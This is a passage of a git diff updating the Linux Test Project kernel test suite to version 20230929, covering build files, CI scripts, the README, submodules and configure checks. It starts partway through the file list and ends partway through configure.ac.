.../conformance/interfaces/lio_listio/13-1.c | 2 +- .../conformance/interfaces/lio_listio/2-1.c | 28 - .../interfaces/lio_listio/assertions.xml | 2 +- .../conformance/interfaces/mmap/6-5.c | 2 +- .../interfaces/mq_timedreceive/5-3.c | 1 + .../assertions.xml | 2 +- .../pthread_attr_getscope/assertions.xml | 2 +- .../pthread_barrierattr_getpshared/2-1.c | 64 +- .../interfaces/pthread_cond_destroy/3-1.c | 3 +- .../interfaces/pthread_cond_init/3-1.c | 3 +- .../interfaces/pthread_detach/3-1.c | 4 +- .../interfaces/pthread_mutex_destroy/3-1.c | 3 +- .../interfaces/pthread_mutex_init/4-1.c | 3 +- .../interfaces/pthread_mutex_lock/2-1.c | 3 +- .../interfaces/pthread_mutex_trylock/3-1.c | 3 +- .../interfaces/pthread_mutex_unlock/3-1.c | 3 +- .../pthread_rwlockattr_getpshared/2-1.c | 20 +- .../interfaces/pthread_sigmask/5-1.c | 2 +- .../interfaces/pthread_spin_init/2-1.c | 20 +- .../interfaces/pthread_spin_init/2-2.c | 20 +- .../conformance/interfaces/raise/2-1.c | 2 +- .../interfaces/sched_setparam/2-1.c | 4 +- .../interfaces/sched_setparam/2-2.c | 3 +- .../conformance/interfaces/sem_destroy/3-1.c | 31 +- .../interfaces/sem_timedwait/11-1.c | 16 +- .../interfaces/sigqueue/assertions.xml | 2 +- .../open_posix_testsuite/functional/Makefile | 2 + .../include/mk/config.mk.in | 17 + .../open_posix_testsuite/include/mk/env.mk | 11 + .../scripts/generate-makefiles.sh | 41 +- .../scripts/tst_kvercmp.sh | 3 +- .../open_posix_testsuite/stress/Makefile | 2 + testcases/open_posix_testsuite/tools/Makefile | 9 +- testcases/realtime/configure.ac | 4 +- .../realtime/func/matrix_mult/matrix_mult.c | 2 +- .../realtime/func/rt-migrate/rt-migrate.c | 2 +- testcases/realtime/m4/check.m4 | 6 +- testcases/realtime/tools/ftqviz.py | 2 +- testscripts/network.sh | 11 +- tools/create-tarballs-metadata.sh | 56 + tools/genhtml.pl | 49 +- tools/lib.sh | 31 + tools/ltx/Makefile | 31 + tools/sparse/Makefile | 2 +- tools/sparse/sparse-ltp.c | 29 +- tools/tag-release.sh | 45 + utils/benchmark/ebizzy-0.3/ebizzy.c | 20 +- utils/sctp/func_tests/test_1_to_1_connectx.c | 40 +- utils/sctp/testlib/sctputil.h | 111 +- ver_linux | 8 +- 1716 files changed, 49011 insertions(+), 34266 deletions(-) create mode 100644 .mailmap create mode 100644 doc/Build-System.rest create mode 100644 doc/C-Test-API.asciidoc create mode 100644 doc/C-Test-Case-Tutorial.asciidoc create mode 100644 doc/C-Test-Network-API.asciidoc create mode 100644 doc/KVM-Test-API.asciidoc create mode 100644 doc/LTP-Library-API-Writing-Guidelines.asciidoc create mode 100644 doc/LTP-Release-Procedure.asciidoc create mode 100644 doc/Maintainer-Patch-Review-Checklist.asciidoc create mode 100644 doc/Shell-Test-API.asciidoc create mode 100644 doc/Supported-kernel,-libc,-toolchain-versions.asciidoc create mode 100644 doc/Test-Writing-Guidelines.asciidoc create mode 100644 doc/User-Guidelines.asciidoc create mode 100644 include/lapi/cpuid.h create mode 100644 include/lapi/faccessat.h create mode 100644 include/lapi/fanotify.h create mode 100644 include/lapi/fsverity.h create mode 100644 include/lapi/ioprio.h create mode 100644 include/lapi/ipc.h create mode 100644 include/lapi/kcmp.h create mode 100644 include/lapi/pidfd.h create mode 100644 include/lapi/syscalls/loongarch.in create mode 100644 include/lapi/userfaultfd.h create mode 100644 include/lapi/watch_queue.h create mode 100644 include/tst_epoll.h create mode 100644 include/tst_rand_data.h create mode 100644 lib/.gitignore create mode 100644 lib/gen_version.sh create mode 100644 lib/newlib_tests/shell/tst_all_filesystems.sh create mode 100644 lib/newlib_tests/shell/tst_all_filesystems_skip.sh create mode 100644 lib/newlib_tests/shell/tst_errexit.sh create mode 100644 lib/newlib_tests/shell/tst_format_device.sh create mode 100644 lib/newlib_tests/shell/tst_mount_device.sh create mode 100644 lib/newlib_tests/shell/tst_mount_device_tmpfs.sh create mode 100644 lib/newlib_tests/shell/tst_skip_filesystems.sh create mode 100644 lib/newlib_tests/test_children_cleanup.c create mode 100644 lib/newlib_tests/test_children_cleanup.sh create mode 100644 lib/newlib_tests/test_runtime01.c create mode 100644 lib/newlib_tests/test_runtime02.c create mode 100644 lib/tests/.gitignore create mode 100644 lib/tst_epoll.c create mode 100644 lib/tst_rand_data.c create mode 100644 lib/tst_thread_state.c create mode 100644 m4/ax_check_compile_flag.m4 create mode 100644 m4/ltp-fsverity.m4 create mode 100644 runtest/kvm create mode 100644 runtest/ltp-aio-stress create mode 100644 runtest/staging create mode 100644 runtest/watchqueue create mode 100644 testcases/cve/cve-2022-4378.c create mode 100644 testcases/cve/tcindex01.c create mode 100644 testcases/kernel/containers/mountns/.gitignore create mode 100644 testcases/kernel/containers/mountns/mountns.h create mode 100644 testcases/kernel/containers/netns/netns_lib.sh create mode 100644 testcases/kernel/containers/sysvipc/common.h create mode 100644 testcases/kernel/containers/userns/.gitignore create mode 100644 testcases/kernel/containers/userns/common.h create mode 100644 testcases/kernel/containers/utsname/utsname01.c create mode 100644 testcases/kernel/containers/utsname/utsname02.c create mode 100644 testcases/kernel/containers/utsname/utsname03.c create mode 100644 testcases/kernel/containers/utsname/utsname04.c create mode 100644 testcases/kernel/controllers/cgroup/cgroup_core01.c create mode 100644 testcases/kernel/controllers/cgroup/cgroup_core02.c create mode 100644 testcases/kernel/controllers/cgroup/cgroup_core03.c create mode 100644 testcases/kernel/controllers/cgroup/cgroup_regression_6_2.sh create mode 100644 testcases/kernel/controllers/io/.gitignore create mode 100644 testcases/kernel/controllers/io/Makefile create mode 100644 testcases/kernel/controllers/io/io_control01.c create mode 100644 testcases/kernel/controllers/memcg/memcontrol03.c create mode 100644 testcases/kernel/controllers/memcg/memcontrol04.c create mode 100644 testcases/kernel/controllers/memcg/memcontrol_common.h create mode 100644 testcases/kernel/kvm/.gitignore create mode 100644 testcases/kernel/kvm/Makefile create mode 100644 testcases/kernel/kvm/bootstrap_x86.S create mode 100644 testcases/kernel/kvm/bootstrap_x86_64.S create mode 100644 testcases/kernel/kvm/include/kvm_common.h create mode 100644 testcases/kernel/kvm/include/kvm_guest.h create mode 100644 testcases/kernel/kvm/include/kvm_host.h create mode 100644 testcases/kernel/kvm/include/kvm_test.h create mode 100644 testcases/kernel/kvm/include/kvm_x86.h create mode 100644 testcases/kernel/kvm/include/kvm_x86_svm.h create mode 100644 testcases/kernel/kvm/kvm_pagefault01.c create mode 100644 testcases/kernel/kvm/kvm_svm01.c create mode 100644 testcases/kernel/kvm/kvm_svm02.c create mode 100644 testcases/kernel/kvm/kvm_svm03.c create mode 100644 testcases/kernel/kvm/lib_guest.c create mode 100644 testcases/kernel/kvm/lib_host.c create mode 100644 testcases/kernel/kvm/lib_x86.c create mode 100644 testcases/kernel/kvm/linker/payload.lds create mode 100644 testcases/kernel/kvm/linker/x86.lds create mode 100644 testcases/kernel/kvm/linker/x86_64.lds create mode 100644 testcases/kernel/mem/hugetlb/hugefallocate/Makefile create mode 100644 testcases/kernel/mem/hugetlb/hugefallocate/hugefallocate01.c create mode 100644 testcases/kernel/mem/hugetlb/hugefallocate/hugefallocate02.c create mode 100644 testcases/kernel/mem/hugetlb/hugefork/Makefile create mode 100644 testcases/kernel/mem/hugetlb/hugefork/hugefork01.c create mode 100644 testcases/kernel/mem/hugetlb/hugefork/hugefork02.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap07.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap08.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap09.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap10.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap11.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap12.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap13.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap14.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap16.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap17.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap18.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap19.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap20.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap21.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap22.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap23.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap24.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap25.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap26.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap27.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap28.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap29.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap30.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap31.c create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap32.c create mode 100644 testcases/kernel/pty/pty06.c create mode 100644 testcases/kernel/pty/pty07.c create mode 100644 testcases/kernel/sched/cfs-scheduler/starvation.c create mode 100644 testcases/kernel/security/dirtyc0w_shmem/.gitignore create mode 100644 testcases/kernel/security/dirtyc0w_shmem/Makefile create mode 100644 testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem.c create mode 100644 testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c create mode 100644 testcases/kernel/security/dirtypipe/.gitignore create mode 100644 testcases/kernel/security/dirtypipe/Makefile create mode 100644 testcases/kernel/security/dirtypipe/dirtypipe.c create mode 100644 testcases/kernel/syscalls/bpf/bpf_prog06.c create mode 100644 testcases/kernel/syscalls/bpf/bpf_prog07.c create mode 100644 testcases/kernel/syscalls/clone3/clone303.c create mode 100644 testcases/kernel/syscalls/epoll_wait/epoll_wait05.c create mode 100644 testcases/kernel/syscalls/epoll_wait/epoll_wait06.c create mode 100644 testcases/kernel/syscalls/epoll_wait/epoll_wait07.c create mode 100644 testcases/kernel/syscalls/eventfd/eventfd02.c create mode 100644 testcases/kernel/syscalls/eventfd/eventfd03.c create mode 100644 testcases/kernel/syscalls/eventfd/eventfd04.c create mode 100644 testcases/kernel/syscalls/eventfd/eventfd05.c create mode 100644 testcases/kernel/syscalls/eventfd/eventfd06.c create mode 100644 testcases/kernel/syscalls/eventfd2/eventfd2.h create mode 100644 testcases/kernel/syscalls/execve/execve06.c create mode 100644 testcases/kernel/syscalls/execve/execve06_child.c create mode 100644 testcases/kernel/syscalls/faccessat/faccessat02.c create mode 100644 testcases/kernel/syscalls/faccessat2/.gitignore create mode 100644 testcases/kernel/syscalls/faccessat2/Makefile create mode 100644 testcases/kernel/syscalls/faccessat2/faccessat201.c create mode 100644 testcases/kernel/syscalls/faccessat2/faccessat202.c create mode 100644 testcases/kernel/syscalls/fanotify/fanotify23.c create mode 100644 testcases/kernel/syscalls/fcntl/fcntl39.c create mode 100644 testcases/kernel/syscalls/fsconfig/fsconfig03.c create mode 100644 testcases/kernel/syscalls/futex/futex2test.h create mode 100644 testcases/kernel/syscalls/futex/futex_waitv01.c create mode 100644 testcases/kernel/syscalls/futex/futex_waitv02.c create mode 100644 testcases/kernel/syscalls/futex/futex_waitv03.c create mode 100644 testcases/kernel/syscalls/inotify/inotify11.c create mode 100644 testcases/kernel/syscalls/inotify/inotify12.c create mode 100644 testcases/kernel/syscalls/ipc/semop/semop04.c create mode 100644 testcases/kernel/syscalls/ipc/semop/semop05.c create mode 100644 testcases/kernel/syscalls/keyctl/keyctl09.c create mode 100644 testcases/kernel/syscalls/madvise/madvise03.c create mode 100644 testcases/kernel/syscalls/madvise/madvise11.c create mode 100644 testcases/kernel/syscalls/mmap/mmap20.c create mode 100644 testcases/kernel/syscalls/mount/mount03_suid_child.c create mode 100644 testcases/kernel/syscalls/mount/mount07.c create mode 100644 testcases/kernel/syscalls/mount_setattr/.gitignore create mode 100644 testcases/kernel/syscalls/mount_setattr/Makefile create mode 100644 testcases/kernel/syscalls/mount_setattr/mount_setattr01.c create mode 100644 testcases/kernel/syscalls/mprotect/mprotect05.c create mode 100644 testcases/kernel/syscalls/mq_notify/mq_notify03.c create mode 100644 testcases/kernel/syscalls/mremap/mremap06.c create mode 100644 testcases/kernel/syscalls/nice/nice05.c create mode 100644 testcases/kernel/syscalls/openat/openat04.c create mode 100644 testcases/kernel/syscalls/pidfd_getfd/.gitignore create mode 100644 testcases/kernel/syscalls/pidfd_getfd/Makefile create mode 100644 testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd01.c create mode 100644 testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd02.c create mode 100644 testcases/kernel/syscalls/pidfd_open/pidfd_open04.c create mode 100644 testcases/kernel/syscalls/pipe/pipe14.c create mode 100644 testcases/kernel/syscalls/prctl/prctl10.c create mode 100644 testcases/kernel/syscalls/process_madvise/.gitignore create mode 100644 testcases/kernel/syscalls/process_madvise/Makefile create mode 100644 testcases/kernel/syscalls/process_madvise/process_madvise.h create mode 100644 testcases/kernel/syscalls/process_madvise/process_madvise01.c create mode 100644 testcases/kernel/syscalls/setsockopt/setsockopt09.c create mode 100644 testcases/kernel/syscalls/statx/statx09.c create mode 100644 testcases/kernel/syscalls/statx/statx10.c create mode 100644 testcases/kernel/syscalls/statx/statx11.c create mode 100644 testcases/kernel/syscalls/statx/statx12.c create mode 100644 testcases/kernel/syscalls/waitid/waitid03.c create mode 100644 testcases/kernel/syscalls/waitid/waitid04.c create mode 100644 testcases/kernel/syscalls/waitid/waitid05.c create mode 100644 testcases/kernel/syscalls/waitid/waitid06.c create mode 100644 testcases/kernel/syscalls/waitid/waitid07.c create mode 100644 testcases/kernel/syscalls/waitid/waitid08.c create mode 100644 testcases/kernel/syscalls/waitid/waitid09.c create mode 100644 testcases/kernel/syscalls/waitid/waitid10.c create mode 100644 testcases/kernel/syscalls/waitid/waitid11.c create mode 100644 testcases/kernel/watchqueue/.gitignore create mode 100644 testcases/kernel/watchqueue/Makefile create mode 100644 testcases/kernel/watchqueue/common.h create mode 100644 testcases/kernel/watchqueue/wqueue01.c create mode 100644 testcases/kernel/watchqueue/wqueue02.c create mode 100644 testcases/kernel/watchqueue/wqueue03.c create mode 100644 testcases/kernel/watchqueue/wqueue04.c create mode 100644 testcases/kernel/watchqueue/wqueue05.c create mode 100644 testcases/kernel/watchqueue/wqueue06.c create mode 100644 testcases/kernel/watchqueue/wqueue07.c create mode 100644 testcases/kernel/watchqueue/wqueue08.c create mode 100644 testcases/kernel/watchqueue/wqueue09.c create mode 100644 testcases/lib/tst_cgctl.c create mode 100644 testcases/lib/tst_fsfreeze.c create mode 100644 testcases/lib/tst_lockdown_enabled.c create mode 100644 testcases/lib/tst_ns_common.h create mode 100644 testcases/lib/tst_ns_create.c create mode 100644 testcases/lib/tst_ns_exec.c create mode 100644 testcases/lib/tst_ns_ifmove.c create mode 100644 testcases/lib/tst_secureboot_enabled.c create mode 100644 testcases/network/nfs/nfs_stress/nfs08.sh create mode 100644 testcases/network/nfs/nfslock01/nfslock01.sh create mode 100644 testcases/network/nfs/nfsstat01/nfsstat01.sh create mode 100644 testcases/open_posix_testsuite/configure.ac create mode 100644 testcases/open_posix_testsuite/include/mk/config.mk.in create mode 100644 testcases/open_posix_testsuite/include/mk/env.mk create mode 100644 tools/create-tarballs-metadata.sh create mode 100644 tools/lib.sh create mode 100644 tools/ltx/Makefile create mode 100644 tools/tag-release.sh diff --git a/.gitignore b/.gitignore index 68a2f289..24f4a4ea 100644 --- a/.gitignore +++ b/.gitignore @@ -11,6 +11,8 @@ core lib*.a .cache.mk *.dwo +*.mod +built-in.a /aclocal.m4 autom4te.cache @@ -31,19 +33,14 @@ autom4te.cache /m4/Makefile /m4/Makefile.in -/execltp -/ltp-devel.spec -/README.ltp-devel /tags /Version /include/mk/config.mk /include/mk/config-openposix.mk /include/mk/features.mk /m4/ltp-version.m4 -/lib/ltp.pc /pan/ltp-bump /pan/ltp-pan -/pan/ltp-scanner cscope.* ncscope.* @@ -61,24 +58,5 @@ patches/ *.run-test *.test logfile.* -*.logfile -logfile /utils/benchmark/ebizzy-0.3/ebizzy -/lib/tests/tst_tmpdir_test -/lib/tests/tst_checkpoint -/lib/tests/tst_checkpoint_wait_timeout -/lib/tests/tst_checkpoint_wake_timeout -/lib/tests/tst_process_state -/lib/tests/tst_cleanup_once -/lib/tests/tst_safe_macros -/lib/tests/tst_strsig -/lib/tests/tst_strerrno -/lib/tests/tst_fs_fill_subdirs -/lib/tests/tst_fs_fill_hardlinks -/lib/tests/tst_device -/lib/tests/tst_record_childstatus -/lib/tests/trerrno -/lib/tests/tst_dataroot01 -/lib/tests/tst_dataroot02 -/lib/tests/tst_dataroot03 diff --git a/.gitmodules b/.gitmodules index 1c9e9c38..c9a6eea3 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,12 @@ [submodule "testcases/kernel/mce-test"] path = testcases/kernel/mce-test url = git://git.kernel.org/pub/scm/linux/kernel/git/gong.chen/mce-test.git +[submodule "tools/sparse/sparse-src"] + path = tools/sparse/sparse-src + url = git://git.kernel.org/pub/scm/devel/sparse/sparse.git +[submodule "tools/kirk"] + path = tools/kirk + url = https://github.com/linux-test-project/kirk.git +[submodule "tools/ltx/ltx-src"] + path = tools/ltx/ltx-src + url = https://github.com/linux-test-project/ltx.git diff --git a/.mailmap b/.mailmap new file mode 100644 index 00000000..6c4b8dab --- /dev/null +++ b/.mailmap @@ -0,0 +1,2 @@ +Petr Vorel +Petr Vorel diff --git a/IDcheck.sh b/IDcheck.sh index 59169591..c6c41b96 100755 --- a/IDcheck.sh +++ b/IDcheck.sh @@ -26,9 +26,11 @@ echo "Checking for required user/group ids" echo "" # Check ids and create if needed. +NO_ROOT_ID=1 NO_NOBODY_ID=1 NO_BIN_ID=1 NO_DAEMON_ID=1 +NO_ROOT_GRP=1 NO_NOBODY_GRP=1 NO_BIN_GRP=1 NO_DAEMON_GRP=1 @@ -49,7 +51,7 @@ fe() { prompt_for_create() { if [ -z "$CREATE_ENTRIES" ] ; then - if [ $NO_NOBODY_ID -ne 0 -o $NO_BIN_ID -ne 0 -o $NO_DAEMON_ID -ne 0 -o $NO_NOBODY_GRP -ne 0 -o $NO_BIN_GRP -ne 0 -o $NO_DAEMON_GRP -ne 0 -o $NO_USERS_GRP -ne 0 -o $NO_SYS_GRP -ne 0 ] ; then + if [ $NO_ROOT_ID -ne 0 -o $NO_NOBODY_ID -ne 0 -o $NO_BIN_ID -ne 0 -o $NO_DAEMON_ID -ne 0 -o $NO_ROOT_GRP -ne 0 -o $NO_NOBODY_GRP -ne 0 -o $NO_BIN_GRP -ne 0 -o $NO_DAEMON_GRP -ne 0 -o $NO_USERS_GRP -ne 0 -o $NO_SYS_GRP -ne 0 ] ; then echo -n "If any required user ids and/or groups are missing, would you like these created? [y/N]" read ans case "$ans" in @@ -74,10 +76,12 @@ for i in "$passwd" "$group"; do fi done +fe root "$passwd"; NO_ROOT_ID=$? fe bin "$passwd"; NO_BIN_ID=$? fe daemon "$passwd"; NO_DAEMON_ID=$? fe nobody "$passwd"; NO_NOBODY_ID=$? +fe root "$group"; NO_ROOT_GRP=$? fe bin "$group"; NO_BIN_GRP=$? fe daemon "$group"; NO_DAEMON_GRP=$? fe nobody "$group" || fe nogroup "$group"; NO_NOBODY_GRP=$? @@ -91,9 +95,11 @@ debug_vals() { echo "Missing the following group / user entries:" echo "Group file: $group" echo "Password file: $passwd" +echo "root $NO_ROOT_ID" echo "nobody: $NO_NOBODY_ID" echo "bin: $NO_BIN_ID" echo "daemon: $NO_DAEMON_ID" +echo "root grp: $NO_ROOT_GRP" echo "nobody[/nogroup] grp: $NO_NOBODY_GRP" echo "bin grp: $NO_BIN_GRP" echo "daemon grp: $NO_DAEMON_GRP" @@ -130,6 +136,7 @@ make_user_group() { fi fi } +make_user_group root 0 $NO_ROOT_ID $NO_ROOT_GRP make_user_group nobody 65534 $NO_NOBODY_ID $NO_NOBODY_GRP make_user_group bin 1 $NO_BIN_ID $NO_BIN_GRP make_user_group daemon 2 $NO_DAEMON_ID $NO_DAEMON_GRP @@ -149,7 +156,7 @@ fi MISSING_ENTRY=0 # For entries that exist in both $group and $passwd. -for i in bin daemon; do +for i in root bin daemon; do for file in "$group" "$passwd"; do if ! fe "$i" "$file"; then MISSING_ENTRY=1 diff --git a/INSTALL b/INSTALL index 3bb37d60..eb63539a 100755 --- a/INSTALL +++ b/INSTALL @@ -27,8 +27,6 @@ configure file). pkgconf is recommended also for compilation from tarball as it does automatic detection of some library support. -GNU Bison / Berkeley Yacc is required for ltp-scanner. - Configuration ------------- diff --git a/Makefile b/Makefile index d4399bae..53f94d9f 100755 --- a/Makefile +++ b/Makefile @@ -1,25 +1,13 @@ -# -# Top-level Makefile for LTP. See INSTALL for more info. -# -# Copyright (c) Linux Test Project, 2009-2020 -# Copyright (c) Cisco Systems Inc., 2009-2010 -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) Linux Test Project, 2009-2022 +# Copyright (c) Cisco Systems Inc., 2009-2010 # Ngie Cooper, July 2009 -# + +# Avoid funny character set dependencies +unexport LC_ALL +LC_COLLATE=C +LC_NUMERIC=C +export LC_COLLATE LC_NUMERIC top_srcdir ?= $(CURDIR) @@ -158,7 +146,6 @@ clean:: $(CLEAN_TARGETS) $(foreach tgt,$(MAKE_TARGETS) include-all lib-all $(filter-out clean_install_dir,$(CLEAN_TARGETS)) $(INSTALL_TARGETS) include-install lib-install,$(eval $(call target_to_dir_dep_mapping,$(tgt)))) -BINDIR_INSTALL_SCRIPTS := execltp SRCDIR_INSTALL_SCRIPTS := IDcheck.sh runltp ver_linux SRCDIR_INSTALL_READONLY := Version SRCDIR_INSTALL_TARGETS := $(SRCDIR_INSTALL_SCRIPTS) $(SRCDIR_INSTALL_READONLY) diff --git a/README.OpenSource b/README.OpenSource index 82346864..e7bf380e 100644 --- a/README.OpenSource +++ b/README.OpenSource @@ -3,7 +3,7 @@ "Name" : "ltp", "License" : "GPL V2.0", "License File" : "COPYING", - "Version Number" : "20220121", + "Version Number" : "20230929", "Owner" : "liuxun@huawei.com", "Upstream URL" : "https://github.com/linux-test-project/ltp", "Description" : "The LTP testsuite contains a collection of tools for testing the Linux kernel and related features." diff --git a/README.md b/README.md index 7764eb81..68f6ec89 100755 --- a/README.md +++ b/README.md @@ -16,9 +16,14 @@ Project pages are located at: http://linux-test-project.github.io/ The latest image is always available at: https://github.com/linux-test-project/ltp/releases -The discussion about the project happens at ltp mailing list: +The discussion about the project happens at LTP mailing list: http://lists.linux.it/listinfo/ltp +LTP mailing list is archived at: +https://lore.kernel.org/ltp/ + +IRC #ltp at: [irc.libera.chat](https://libera.chat/) + The git repository is located at GitHub at: https://github.com/linux-test-project/ltp @@ -96,8 +101,7 @@ $ make install ``` This will install LTP to `/opt/ltp`. -* If you have a problem see `doc/mini-howto-building-ltp-from-git.txt`. -* If you still have a problem see `INSTALL` and `./configure --help`. +* If you have a problem see `INSTALL` and `./configure --help`. * Failing that, ask for help on the mailing list or Github. Some tests will be disabled if the configure script can not find their build @@ -150,7 +154,7 @@ $ testcases/bin/abort01 Some have arguments ``` -$ testcases/bin/fork13 -i 37 +$ testcases/bin/mesgq\_nstest -m none ``` The vast majority of test cases accept the -h (help) switch @@ -206,4 +210,4 @@ Although we accept GitHub pull requests, the preferred way is sending patches to It's a good idea to test patches on GitHub Actions before posting to mailing list. Our GitHub Actions setup covers various architectures and distributions in order to make sure LTP compiles cleanly on most common configurations. -For testing you need to just to push your changes to your own LTP fork on GitHub. +For testing you need to just push your changes to your own LTP fork on GitHub. diff --git a/VERSION b/VERSION index 3f3ee5d7..e851466f 100755 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -20220121 +20230929 diff --git a/ci/alpine.sh b/ci/alpine.sh index d93a5761..9ae5a8d0 100755 --- a/ci/alpine.sh +++ b/ci/alpine.sh @@ -1,5 +1,5 @@ #!/bin/sh -# Copyright (c) 2019-2021 Petr Vorel +# Copyright (c) 2019-2022 Petr Vorel set -ex apk update @@ -33,9 +33,7 @@ cat /etc/os-release echo "WARNING: remove unsupported tests (until they're fixed)" cd $(dirname $0)/.. rm -rfv \ - testcases/kernel/syscalls/confstr/confstr01.c \ testcases/kernel/syscalls/fmtmsg/fmtmsg01.c \ - testcases/kernel/syscalls/getcontext/getcontext01.c \ testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c \ testcases/kernel/syscalls/timer_create/timer_create01.c \ testcases/kernel/syscalls/timer_create/timer_create03.c diff --git a/ci/debian.minimal.sh b/ci/debian.minimal.sh index d2e5cc6f..b51154b0 100755 --- a/ci/debian.minimal.sh +++ b/ci/debian.minimal.sh @@ -1,5 +1,5 @@ #!/bin/sh -# Copyright (c) 2018-2020 Petr Vorel +# Copyright (c) 2018-2023 Petr Vorel set -ex apt="apt remove -y" @@ -11,9 +11,7 @@ $apt \ libaio-dev \ libaio1 \ libcap-dev \ - libcap2 \ libkeyutils-dev \ - libmm-dev \ libnuma-dev \ libnuma1 \ libselinux1-dev \ diff --git a/ci/debian.sh b/ci/debian.sh index f3dcb6e8..da92337f 100755 --- a/ci/debian.sh +++ b/ci/debian.sh @@ -37,7 +37,6 @@ $apt \ libjson-perl \ libkeyutils-dev \ libkeyutils1 \ - libmm-dev \ libmnl-dev \ libnuma-dev \ libnuma1 \ diff --git a/ci/fedora.sh b/ci/fedora.sh index dc1293aa..a603bcbe 100755 --- a/ci/fedora.sh +++ b/ci/fedora.sh @@ -2,7 +2,7 @@ # Copyright (c) 2018-2021 Petr Vorel set -ex -yum="yum -y install" +yum="yum -y install --skip-broken" $yum \ asciidoc \ diff --git a/configure.ac b/configure.ac index 3c56d192..662c4c05 100755 --- a/configure.ac +++ b/configure.ac @@ -1,4 +1,4 @@ -AC_PREREQ(2.61) +AC_PREREQ(2.64) AC_INIT([ltp], [LTP_VERSION], [ltp@lists.linux.it]) AC_CONFIG_AUX_DIR([.]) AM_INIT_AUTOMAKE @@ -10,7 +10,6 @@ AC_CONFIG_FILES([ \ include/mk/features.mk \ lib/ltp.pc \ m4/Makefile \ - execltp \ ]) AC_ARG_VAR(HOSTCC, [The C compiler on the host]) @@ -24,7 +23,6 @@ AC_PROG_CC # 2.62. AC_DEFUN([AC_PROG_AR], [AC_CHECK_TOOL(AR, ar, :)]) AC_PROG_AR -AC_PROG_LEX AC_PROG_RANLIB AC_DEFUN([AC_PROG_STRIP], [AC_CHECK_TOOL(STRIP, strip, :)]) AC_PROG_STRIP @@ -42,6 +40,7 @@ AC_CHECK_DECLS([SEM_STAT_ANY],,,[#include ]) AC_CHECK_HEADERS_ONCE([ \ asm/ldt.h \ + cpuid.h \ emmintrin.h \ ifaddrs.h \ keyutils.h \ @@ -51,14 +50,17 @@ AC_CHECK_HEADERS_ONCE([ \ linux/close_range.h \ linux/dccp.h \ linux/fs.h \ + linux/futex.h \ linux/genetlink.h \ linux/if_alg.h \ linux/if_ether.h \ linux/if_packet.h \ linux/io_uring.h \ + linux/ioprio.h \ linux/keyctl.h \ linux/mempolicy.h \ linux/module.h \ + linux/mount.h \ linux/netlink.h \ linux/seccomp.h \ linux/securebits.h \ @@ -70,6 +72,7 @@ AC_CHECK_HEADERS_ONCE([ \ sys/epoll.h \ sys/fanotify.h \ sys/inotify.h \ + sys/pidfd.h sys/prctl.h \ sys/shm.h \ sys/timerfd.h \ @@ -89,6 +92,7 @@ AC_CHECK_FUNCS_ONCE([ \ epoll_pwait \ epoll_pwait2 \ execveat \ + faccessat2 \ fallocate \ fchownat \ fsconfig \ @@ -97,6 +101,8 @@ AC_CHECK_FUNCS_ONCE([ \ fspick \ fstatat \ getauxval \ + getcontext \ + getcpu \ getdents \ getdents64 \ io_pgetevents \ @@ -110,11 +116,13 @@ AC_CHECK_FUNCS_ONCE([ \ mkdirat \ mknodat \ modify_ldt \ + mount_setattr \ move_mount \ name_to_handle_at \ open_tree \ openat \ openat2 \ + pidfd_getfd \ pidfd_open \ pidfd_send_signal \ pkey_mprotect \ @@ -152,7 +160,7 @@ AC_CHECK_FUNCS(mkdtemp,[],AC_MSG_ERROR(mkdtemp() not found!)) AC_CHECK_MEMBERS([struct fanotify_event_info_fid.fsid.__val],,,[#include ]) AC_CHECK_MEMBERS([struct perf_event_mmap_page.aux_head],,,[#include ]) AC_CHECK_MEMBERS([struct sigaction.sa_sigaction],[],[],[#include ]) -AC_CHECK_MEMBERS([struct statx.stx_mnt_id],,,[ +AC_CHECK_MEMBERS([struct statx.stx_mnt_id, struct statx.stx_dio_mem_align],,,[ #define _GNU_SOURCE #include ]) @@ -216,11 +224,20 @@ AC_CHECK_TYPES([struct 